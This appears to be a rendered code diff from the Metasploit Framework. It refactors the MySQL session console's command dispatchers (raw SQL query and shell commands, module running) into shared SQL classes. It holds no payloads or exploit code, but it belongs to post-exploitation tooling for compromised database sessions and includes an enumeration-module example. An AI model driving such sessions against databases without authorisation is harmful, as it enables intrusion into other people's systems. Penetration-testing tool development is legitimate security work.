def unknown_command(cmd, line)
|
||||
if @filtered_commands.include?(cmd)
|
||||
print_error("The \"#{cmd}\" command is not supported by this session type (#{session.session_type})")
|
||||
return :handled
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
include Rex::Post::Sql::Ui::Console::CommandDispatcher
|
||||
|
||||
# Return the subdir of the `documentation/` directory that should be used
|
||||
# to find usage documentation
|
||||
@@ -70,31 +19,6 @@ module Rex
|
||||
def docs_dir
|
||||
::File.join(super, 'mysql_session')
|
||||
end
|
||||
|
||||
# Returns true if the client has a framework object.
|
||||
# Used for firing framework session events
|
||||
#
|
||||
# @return [TrueClass, FalseClass]
|
||||
def msf_loaded?
|
||||
return @msf_loaded unless @msf_loaded.nil?
|
||||
|
||||
# if we get here we must not have initialized yet
|
||||
|
||||
@msf_loaded = !session.framework.nil?
|
||||
@msf_loaded
|
||||
end
|
||||
|
||||
# Log that an error occurred.
|
||||
#
|
||||
# @param [Object] msg
|
||||
# @return [Object]
|
||||
def log_error(msg)
|
||||
print_error(msg)
|
||||
|
||||
elog(msg, 'mysql')
|
||||
|
||||
dlog("Call stack:\n#{$ERROR_POSITION.join("\n")}", 'mysql')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'pathname'
|
||||
require 'reline'
|
||||
require 'rex/post/sql/ui/console/command_dispatcher/client'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
@@ -10,149 +9,35 @@ module Rex
|
||||
|
||||
# Core MySQL client commands
|
||||
class Console::CommandDispatcher::Client
|
||||
|
||||
include Rex::Post::Sql::Ui::Console::CommandDispatcher::Client
|
||||
include Rex::Post::MySQL::Ui::Console::CommandDispatcher
|
||||
|
||||
# Initializes an instance of the core command set using the supplied console
|
||||
# for interactivity.
|
||||
#
|
||||
# @param [Rex::Post::MySQL::Ui::Console] console
|
||||
def initialize(console)
|
||||
super
|
||||
|
||||
@db_search_results = []
|
||||
end
|
||||
|
||||
# List of supported commands.
|
||||
#
|
||||
# @return [Hash{String->String}]
|
||||
def commands
|
||||
cmds = {
|
||||
'query' => 'Run a raw SQL query',
|
||||
'shell' => 'Enter a raw shell where SQL queries can be executed',
|
||||
}
|
||||
|
||||
reqs = {}
|
||||
|
||||
filter_commands(cmds, reqs)
|
||||
end
|
||||
|
||||
# @return [String]
|
||||
def name
|
||||
'MySQL Client'
|
||||
end
|
||||
|
||||
# @param [Object] args
|
||||
# @return [FalseClass, TrueClass]
|
||||
def help_args?(args)
|
||||
return false unless args.instance_of?(::Array)
|
||||
|
||||
args.include?('-h') || args.include?('--help')
|
||||
end
|
||||
|
||||
# @return [Object]
|
||||
def cmd_shell_help
|
||||
print_line 'Usage: shell'
|
||||
print_line
|
||||
print_line 'Go into a raw SQL shell where SQL queries can be executed.'
|
||||
print_line 'To exit, type `exit`, `quit`, `end` or `stop`.'
|
||||
print_line
|
||||
end
|
||||
|
||||
# @param [Array] args
|
||||
# @return [Object]
|
||||
def cmd_shell(*args)
|
||||
if help_args?(args)
|
||||
cmd_shell_help
|
||||
return
|
||||
end
|
||||
|
||||
stop_words = %w[stop s exit e end quit q].freeze
|
||||
|
||||
# Allow the user to query the DB in a loop.
|
||||
finished = false
|
||||
until finished
|
||||
begin
|
||||
# This needs to be here, otherwise the `ensure` block would reset it to the previous
|
||||
# value after a single query, meaning future queries would have the default prompt_block.
|
||||
prompt_proc_before = ::Reline.prompt_proc
|
||||
::Reline.prompt_proc = proc { |line_buffer| line_buffer.each_with_index.map { |_line, i| i > 0 ? 'SQL *> ' : 'SQL >> ' } }
|
||||
|
||||
# This will loop until it receives `true`.
|
||||
raw_query = ::Reline.readmultiline('SQL >> ', use_history = true) do |multiline_input|
|
||||
# In the case only a stop word was input, exit out of the REPL shell
|
||||
finished = multiline_input.split.count == 1 && stop_words.include?(multiline_input.split.last)
|
||||
# Accept the input until the current line does not end with '\', similar to a shell
|
||||
finished || multiline_input.split.empty? || !multiline_input.split.last&.end_with?('\\')
|
||||
end
|
||||
rescue ::Interrupt => _e
|
||||
finished = true
|
||||
ensure
|
||||
::Reline.prompt_proc = prompt_proc_before
|
||||
end
|
||||
|
||||
if finished
|
||||
print_status 'Exiting Shell mode.'
|
||||
return
|
||||
end
|
||||
|
||||
formatted_query = process_query(query: raw_query)
|
||||
|
||||
unless formatted_query.empty?
|
||||
print_status "Running SQL Command: '#{formatted_query}'"
|
||||
cmd_query(formatted_query)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# @return [Object]
|
||||
def cmd_query_help
|
||||
print_line 'Usage: query'
|
||||
print_line
|
||||
print_line 'Run a raw SQL query on the target.'
|
||||
print_line 'Run a single SQL query on the target.'
|
||||
print_line @@query_opts.usage
|
||||
print_line 'Examples:'
|
||||
print_line "\tquery SHOW DATABASES;"
|
||||
print_line "\tquery USE information_schema;"
|
||||
print_line "\tquery SELECT * FROM SQL_FUNCTIONS;"
|
||||
print_line "\tquery SELECT version();"
|
||||
print_line
|
||||
print_line ' query SHOW DATABASES;'
|
||||
print_line ' query USE information_schema;'
|
||||
print_line ' query SELECT * FROM SQL_FUNCTIONS;'
|
||||
print_line ' query SELECT version();'
|
||||
print_line
|
||||
end
|
||||
|
||||
# @param [Array] result The result of an SQL query to format.
|
||||
def format_result(result)
|
||||
columns = ['#']
|
||||
|
||||
unless result.is_a?(Array)
|
||||
result.fields.each { |field| columns.append(field.name) }
|
||||
|
||||
::Rex::Text::Table.new(
|
||||
'Header' => 'Query Result',
|
||||
'Indent' => 4,
|
||||
'Columns' => columns,
|
||||
'Rows' => result.map.each.with_index { |row, i| [i, row].flatten }
|
||||
)
|
||||
end
|
||||
end
|
||||
|
||||
# @param [Array] args SQL query
|
||||
# @return [Object]
|
||||
def cmd_query(*args)
|
||||
cmd_query_help && return if help_args?(args)
|
||||
|
||||
query = args.join(' ').to_s
|
||||
print_status("Sending statement: '#{query}'...")
|
||||
result = client.query(query) || []
|
||||
|
||||
table = format_result(result)
|
||||
print_line(table.to_s)
|
||||
end
|
||||
|
||||
# @param [String] query
|
||||
# @return [String]
|
||||
def process_query(query: '')
|
||||
return '' if query.empty?
|
||||
|
||||
query.lines.each.map { |line| line.chomp("\\\n").strip }.reject(&:empty?).compact.join(' ')
|
||||
# @param [Mysql::Result] result The MySQL query result
|
||||
# @return [Hash] Hash containing rows, columns and errors.
|
||||
def normalise_sql_result(result)
|
||||
# MySQL errors are handled by raising an exception when querying,
|
||||
# meaning we don't have that in the Result object.
|
||||
{ rows: result.entries, columns: result.fields.each.map(&:name), errors: [] }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,7 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/sql/ui/console/command_dispatcher/core'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module MySQL
|
||||
@@ -7,42 +9,8 @@ module Rex
|
||||
|
||||
# Core MySQL client commands
|
||||
class Console::CommandDispatcher::Core
|
||||
|
||||
include Rex::Post::Sql::Ui::Console::CommandDispatcher::Core
|
||||
include Rex::Post::MySQL::Ui::Console::CommandDispatcher
|
||||
|
||||
# List of supported commands.
|
||||
#
|
||||
# @return [Hash{String->String}]
|
||||
def commands
|
||||
cmds = {
|
||||
'?' => 'Help menu',
|
||||
'background' => 'Backgrounds the current session',
|
||||
'bg' => 'Alias for background',
|
||||
'exit' => 'Terminate the MySQL session',
|
||||
'help' => 'Help menu',
|
||||
'irb' => 'Open an interactive Ruby shell on the current session',
|
||||
'pry' => 'Open the Pry debugger on the current session',
|
||||
'sessions' => 'Quickly switch to another session',
|
||||
}
|
||||
|
||||
reqs = {}
|
||||
|
||||
filter_commands(cmds, reqs)
|
||||
end
|
||||
|
||||
# @return [String]
|
||||
def name
|
||||
'Core'
|
||||
end
|
||||
|
||||
# @param [Object] cmd
|
||||
# @param [Object] line
|
||||
# @return [Symbol, nil]
|
||||
def unknown_command(cmd, line)
|
||||
status = super
|
||||
|
||||
status
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,100 +0,0 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'pathname'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module MySQL
|
||||
module Ui
|
||||
|
||||
# MySQL client commands for running modules
|
||||
class Console::CommandDispatcher::Modules
|
||||
|
||||
include Rex::Post::MySQL::Ui::Console::CommandDispatcher
|
||||
|
||||
# List of supported commands.
|
||||
#
|
||||
# @return [Hash{String->String}]
|
||||
def commands
|
||||
cmds = {
|
||||
'run' => 'Run a module'
|
||||
}
|
||||
|
||||
reqs = {}
|
||||
|
||||
filter_commands(cmds, reqs)
|
||||
end
|
||||
|
||||
# Modules
|
||||
#
|
||||
# @return [String]
|
||||
def name
|
||||
'Modules'
|
||||
end
|
||||
|
||||
# @return [Object]
|
||||
def cmd_run_help
|
||||
print_line 'Usage: run'
|
||||
print_line
|
||||
print_line 'Run a module or script against the current session.'
|
||||
print_line
|
||||
print_line 'Example:'
|
||||
print_line "\trun auxiliary/admin/mysql/mysql_enum"
|
||||
print_line "\trun my_erb_script.rc"
|
||||
print_line
|
||||
end
|
||||
|
||||
# Executes a module/script in the context of the MySQL session.
|
||||
#
|
||||
# @param [Array] args
|
||||
# @return [TrueClass]
|
||||
def cmd_run(*args)
|
||||
if args.empty? || args.first == '-h' || args.first == '--help'
|
||||
cmd_run_help
|
||||
return true
|
||||
end
|
||||
|
||||
# Get the script name
|
||||
begin
|
||||
script_name = args.shift
|
||||
# First try it as a module if we have access to the Metasploit
|
||||
# Framework instance. If we don't, or if no such module exists,
|
||||
# fall back to using the scripting interface.
|
||||
if msf_loaded? && (mod = session.framework.modules.create(script_name))
|
||||
original_mod = mod
|
||||
reloaded_mod = session.framework.modules.reload_module(original_mod)
|
||||
|
||||
unless reloaded_mod
|
||||
error = session.framework.modules.module_load_error_by_path[original_mod.file_path]
|
||||
print_error("Failed to reload module: #{error}")
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
opts = ''
|
||||
|
||||
opts << (args + [ "SESSION=#{session.sid}" ]).join(',')
|
||||
result = reloaded_mod.run_simple(
|
||||
'LocalInput' => shell.input,
|
||||
'LocalOutput' => shell.output,
|
||||
'OptionStr' => opts
|
||||
)
|
||||
|
||||
print_status("Session #{result.sid} created in the background.") if result.is_a?(Msf::Session)
|
||||
else
|
||||
# the rest of the arguments get passed in through the binding
|
||||
session.execute_script(script_name, args)
|
||||
end
|
||||
rescue Msf::OptionValidateError => e
|
||||
print_error(e.message)
|
||||
elog('Option validation error:', error: e)
|
||||
rescue StandardError => e
|
||||
print_error("Error in script: #{script_name}")
|
||||
elog("Error in script: #{script_name}", error: e)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user